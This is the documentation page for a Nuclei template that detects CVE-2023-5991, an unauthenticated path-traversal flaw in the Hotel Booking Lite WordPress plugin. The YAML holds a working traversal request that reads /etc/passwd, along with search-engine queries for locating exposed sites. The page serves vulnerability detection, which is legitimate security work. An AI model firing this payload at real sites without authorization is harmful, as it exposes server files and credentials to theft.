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Hotel Booking Lite < 4.8.5 - Arbitrary File Download & Deletion

ID: CVE-2023-5991

Severity: critical

Author: s4e-io

Tags: cve,cve2023,lfi,motopress-hotel-booking,wordpress,wp-plugin,wpscan,wp,motopress

Description

Section titled “Description”

The Hotel Booking Lite WordPress plugin before 4.8.5 does not validate file paths provided via user input, as well as does not have proper CSRF and authorisation checks, allowing unauthenticated users to download and delete arbitrary files on the server

YAML Source

Section titled “YAML Source”
id: CVE-2023-5991


info:
  name: Hotel Booking Lite < 4.8.5 - Arbitrary File Download & Deletion
  author: s4e-io
  severity: critical
  description: |
    The Hotel Booking Lite WordPress plugin before 4.8.5 does not validate file paths provided via user input, as well as does not have proper CSRF and authorisation checks, allowing unauthenticated users to download and delete arbitrary files on the server
  remediation: Fixed in 4.8.5
  reference:
    - https://wpscan.com/vulnerability/e9d35e36-1e60-4483-b8b3-5cbf08fcd49e/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5991
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5991
    cwe-id: CWE-22
    epss-score: 0.17487
    epss-percentile: 0.96115
    cpe: cpe:2.3:a:motopress:hotel_booking_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: motopress
    product: hotel_booking_lite
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/motopress-hotel-booking
    fofa-query: body=/wp-content/plugins/motopress-hotel-booking
    publicwww-query: "/wp-content/plugins/motopress-hotel-booking"
  tags: cve,cve2023,lfi,motopress-hotel-booking,wordpress,wp-plugin,wpscan,wp,motopress


http:
  - method: GET
    path:
      - "{{BaseURL}}/?filename=../../../../../../etc/passwd&mphb_action=download"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: word
        part: header
        words:
          - "filename="
          - "/etc/passwd"
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a0047304502202948f22064ea62925ad481d911e36451bb21ff1e39bd87f00e71c342c28c3195022100dc7c2486b27add6b23f79ad2b2bfd4e94899fab4296e1ef97f7b25febf236f2f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-5991.yaml"

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